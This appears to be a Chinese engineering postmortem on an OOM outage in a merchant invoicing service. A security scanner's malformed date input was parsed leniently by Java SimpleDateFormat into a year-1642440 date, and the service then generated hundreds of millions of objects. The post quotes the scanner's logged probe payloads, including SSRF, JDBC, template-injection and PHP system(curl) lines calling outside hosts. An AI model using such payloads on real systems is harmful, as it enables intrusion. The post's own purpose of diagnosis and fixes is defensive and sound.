网站制作方案范文,眉山市网站建设,网站开发合作意向协议书,书生商友软件下载名词解释 商家销项发票业务#xff08;平台给商家开票#xff09;#xff0c;是平台提供给商家的工具产品#xff0c;商家购买了平台的服务#xff0c;那么平台需要开票给商家。
前言 本文所描述的问题#xff0c;是应用的OOM引发的接口成功率下跌#xff0c;排查过程中…名词解释 商家销项发票业务平台给商家开票是平台提供给商家的工具产品商家购买了平台的服务那么平台需要开票给商家。
前言 本文所描述的问题是应用的OOM引发的接口成功率下跌排查过程中由于现场环境问题导致第一次的原因定位错了后面由于机缘巧合找到了一个3月份的OOM dump文件顺藤摸瓜一步步找到了OOM的元凶竟然是由于安全攻击伪造了一个异常的日期格式被SimpleDateFormat解析成了164万年后的日期距今5.9亿天而发生OOM的接口逻辑是从开始时间到结束时间每一天生成一个数据点从而造成内存中存在大量对象进而发生OOM。
下面就带大家来看下整个问题的定位过程。
Metaspace报错 6月3日~6月6日该业务连续出现两次接口成功率下跌的风险预警。看了下接口报错日志接口的RT上涨错误信息是Metaspace。 到这很容易联想到是Metaspace空间不足导致gc而且错误都集中在一台机器上去sunfire上看下机器jvm信息果然metaspace使用率已经达到97%了CPU也飙高到了90%。由于接口成功率还在下跌可能触发故障所以第一时间把机器做了下线处理。虽然接口成功率恢复了但现场却没了只定位到了一个Metaspace使用率高的现象。 查看了一下应用的MetaspaceSize设置容量确实很小只有256M相比其他应用都是512M由于没了现场所以暂时把解决方案定位成调高MetaspaceSize空间。 JAVA_OPTS${JAVA_OPTS} -XX:MetaspaceSize256m -XX:MaxMetaspaceSize256m
到了6月6日再次出现了同样的问题CPU也到了90%多当即对问题机器dump了线程信息CPU全部被GC线程占满了所以还是认定是MetaspaceSize的原因。重启了问题机器后第一时间发布代码调整MetaspaceSize到512M。 top -H -p 进程ID CPU飙涨 然而到了6月6日下午突然收到一个监控从16.35开始一台机器的CPU飙涨到98%还是被4个GC线程占满而metaspace的使用率却稳定在50%。这样看来之前定位到的原因不对了并不是Metaspace的问题而是应用在疯狂的GC。 OOM 上问题机器看了下线程CPU使用情况果然还是4个GC线程确定不是Metaspace的问题了。随即去找错误日志这次不是报Metaspace而是出现了大量的OutOfMemoryError错误就是OOM了。 OOM一般都很好定位第一时间想到的便是dump了然而dump的结果大跌眼镜尝试了好几次啥信息都没有根本无从定位。 既然无法dump那直接在机器上使用jmap结果也执行失败陷入绝境了明明是很好排查的OOM却无从下手只能去找其他方法了。
集团的Java应用一般都有默认的jvm参数--OOM 自动dump文件一般在/home/admin/logs/java.hprof。 JAVA_OPTS${JAVA_OPTS} -XX:HeapDumpOnOutOfMemoryError -XX:HeapDumpPath${MIDDLEWARE_LOGS}/java.hprof
果然在机器上找到了dump文件但日期却不是今天的是3月29日的本着死马当活马医的态度先尝试着去分析一下。 dump分析 用grace分析了一下3月29日的dump文件大有收获内存中竟然存在5700万个com.alibaba.finance.paycenter.view.GoodsIncomeSummaryVO对象这便是3月29日OOM的元凶了。 但3月29日的OOM跟6月6日的会是一样吗过去2个多月了而且sls上也没有3月份的日志。由于没有更多的方向了暂时猜测6月6日的OOM跟3月29日的一样。顺着grace给出的信息去看了下代码。代码的逻辑很简单查询一个商家在某个时间区间的货款结算数据数据是按天维度的一天一条记录所以这段代码返回的就是beginTime到endTime之间每天的数据换句话说GoodsIncomeSummaryVO这个对象最多也就是endTime-beginTime个了也就是两个日期之间的天数。 继续找到前台页面入口beginTime和endTime对应的是两个时间选择器给服务端的格式是yyyymmdd而且前端限制每次最多查一个月也就是接口最多返回31条数据。就算是伪造数据攻击从0000-9999年最多也只有365*10000365万条数据怎么会出现5000多万呢 安全攻击 从这个产品功能来看如果是正常的页面操作那么单次请求最多返回一个月也就是31条数据而内存中存在大量对象只有一种可能--那就是接口被攻击了。继续分析日志把时间范围调整到问题发生的时段果然接口调用量存在明显的上涨跟前面的猜测一样6月6日的OOM也是由于GoodsIncomeSummaryVO这个对象导致的。 继续分析日志发现请求都是来自【heimdall安全扫描测试账号】这就是安全部的常用攻击账号。 从日志不难看出安全账号的请求在伪造入参攻击接口入参中的[20240529, 20240604]便是前面提及的beginTime和endTime。而攻击请求中的入参却是另一番模样 [http://140.205.171.167?%0afundtax.taobao.com/, 20240604][20240529, http://140.205.171.167?%0afundtax.taobao.com/][//sectesttaobao.com/checkpreload.htm?heimdallpoc1, 20240604][20240529, 20240604jdbc:gbase://48268652-d8cb73efc3a3e66d-1111.1001-None-2c3a455b8ebd4954-1717662929929.gbase.dns.heimdallpoc.cn/test?usertest][20240529heimdalldbmarktestd8cb73efc3a3e66d-beginTime-, 20240604][20240529, {{ctx.curl(http://48268652-d8cb73efc3a3e66d-11.1-endTime-b5a59b74c90e4e73-1717662922429.ssi2.rce.ihttp.dns.heimdallpoc.cn)}}][data:text/plain,?php system(curl 48268652-d8cb73efc3a3e66d-11.1-beginTime-39fbd8149b59426b-1717662920830.27.rce.ihttp.dns.heimdallpoc.cn);?, 20240604]
再来回顾一下这个接口的逻辑
1、用sellerIdbeginTime和endTime到数据库里面去查数据d beginTime and d endTime
2、计算beginTime和endTime之间的天数这里用的是SimpleDateFormat.parse
看了下服务器的日志大部分的安全攻击请求要么被SQL语法拦截了要么被日期解析拦截了都是无效请求那是怎么触发OOM的呢 GoodsIncomeSummaryVO对象的产生主要是在第二步【计算beginTime和endTime之间的天数】并不是第一步就是说第一步的结果不会影响到GoodsIncomeSummaryVO的数量去数据库验证了一下攻击账号的数据是0条所以问题的根源就是第二步。
Eagleeye分析 之前的日志分析并未发现异常主要是因为分析的日志时间范围是在CPU上涨的时间。 这个时间段内确实没有异常的请求日志但是既然某些请求会产生大量的GoodsIncomeSummaryVO对象那么这次请求的RT一定很高可能系统打印的日志就不在这个时间段了顺着这个思路去eagleeye上拉长时间看了下接口的RT数据果然发现了可疑之处。17:30分左右平均RT是25分钟这太不正常了这个时间点一定存在某个RT很高的异常请求。 定位元凶
去机器上寻找这个时间点附近的日志找到了这个可疑的请求 2024-06-06 17:30:26.625 - 212a87e117176628478926268e1570|106.15.120.135|HomeController|getGoodsIncomeList|N|Java heap space|null|3378731ms|22129*****|heimdall安全扫描测试账号|账户汇总-货款结算趋势|[20240529, 2024060433312731332234323c32343e3939]
日志的产生时间是2024-06-06 17:30:26执行了56分钟倒推一下就是2024-06-06 16:35 左右开始执行跟OOM和CPU打满的时间是吻合的。可以肯定是这个请求一直在产生GoodsIncomeSummaryVO对象话不多说先看下参数。 beginTime20240529endTime2024060433312731332234323c32343e3939
这个endTime初看肯定会被日期解析给拦截的为啥还往下执行了难道这也能解析写了段测试代码执行一下这两个数据结果惊呆了。 代码非但没有报错反而停不下来了3000多万了。 5000多万了不行了电脑卡死了。 好了看来是停不下来了估计也要跑50多分钟。直接把endTime
2024060433312731332234323c32343e3939打印出来看看是个什么东西好家伙。 2024060433312731332234323c32343e3939解析成Date后是1642440年从2024年5月29日一天一天加加到1642440年总共有5.9亿天所以说这次请求会产生5.9亿个GoodsIncomeSummaryVO对象这不OOM才怪呢。 问题来了有老铁知道2024060433312731332234323c32343e3939这是个啥为啥SimpleDateFormat还能解析出来已经超出认知了。
SimpleDateFormat分析 public static Date convertToDate(String time, String format) { Date datenull; SimpleDateFormat dateFormat new SimpleDateFormat(format); try { date dateFormat.parse(time); } catch (ParseException e) { throw new RuntimeException(format error, e); } return date; }
这是一段很普通的代码看不出啥毛病来问题就在于format这个格式解析出于好奇随便造了一个数据来测试一下代码如下 Date beginDate DateUtils.convertToDate(209410529, DateUtils.YYYYMMDD_FORMAT);
【209410529】并不是标准的【yyyyMMdd】格式而是9位多了1位看看SimpleDateFormat的结果吧。 Mon Mar 12 00:00:00 CST 2096
解析并没有报错但日期貌似也不对怎么变成了2096年于是debug看了下SimpleDateFormat的工作原理。
SimpleDateFormat的parse会根据format格式依次解析出年月日关键的问题就出在【日】这个字段。 年2094月10日529
除了yyyyMM前6位后面的一大串都当成了【日】问题的关键在于这段代码。 进入Calendar类 由于【日】这个字段是非法的此处的isTimeSetfalse进入到了updateTime重新开始计算时间【529】天会进一步计算成月和年。 debug结束后重新计算的时间戳是【3982320000000】转换一下刚好是上面的结果【Mon Mar 12 00:00:00 CST 2096】。 再回到安全攻击的那个日期【2024060433312731332234323c32343e3939】看看SimpleDateFormat是怎么解析的首先还是获取年月。 年2024月06
那么剩下的一大串【0433312731332234323c32343e3939】就用来解析【日】了函数的入口位于DecimalFormat的subparse函数。 private final boolean subparse(String text, ParsePosition parsePosition, String positivePrefix, String negativePrefix, DigitList digits, boolean isExponent, boolean status[]) {}
依次遍历text存入DigitList中逻辑如下 当识别到字符串中的【c】时digit-1跳出了for循环【c32343e3939】后面一大串直接丢弃了所以digits中保存的字符串是【0433312731332234323】然后转成Long值为【433312731332234323】。 最后在保存的时候转为int值为599149651这个就比较熟悉了就是前面分析的5.9亿天然后再通过Calendar的updateTime变成了1642440年。 后面测试了一下另外一个格式【yyyy-MM-dd】也有同样的问题。 Date beginDate DateUtils.convertToDate(2024-06-0433312731332234323c32343e3939, DateUtils.YYYY_MM_DD_FORMAT);
得到了同样的结果 Sun Jun 10 00:00:00 CST 1642440
综上所述在使用SimpleDateFormat的时候必须确保日期的格式否则可能会得到预期之外的结果还可能会给业务带来影响。 设置lenientfalse 感谢连齐提供的解决方案SimpleDateFormat设置lenient为false会严格校验日期格式亲测有效。 问题修复 排查过程很复杂但回到代码上问题不少修复方案也很简单。
1、接口入参时间格式没有校验应该严格限定在yyyyMMdd
2、接口没有校验时间查询范围依赖于前端1个月的限制条件但攻击可以轻易绕过
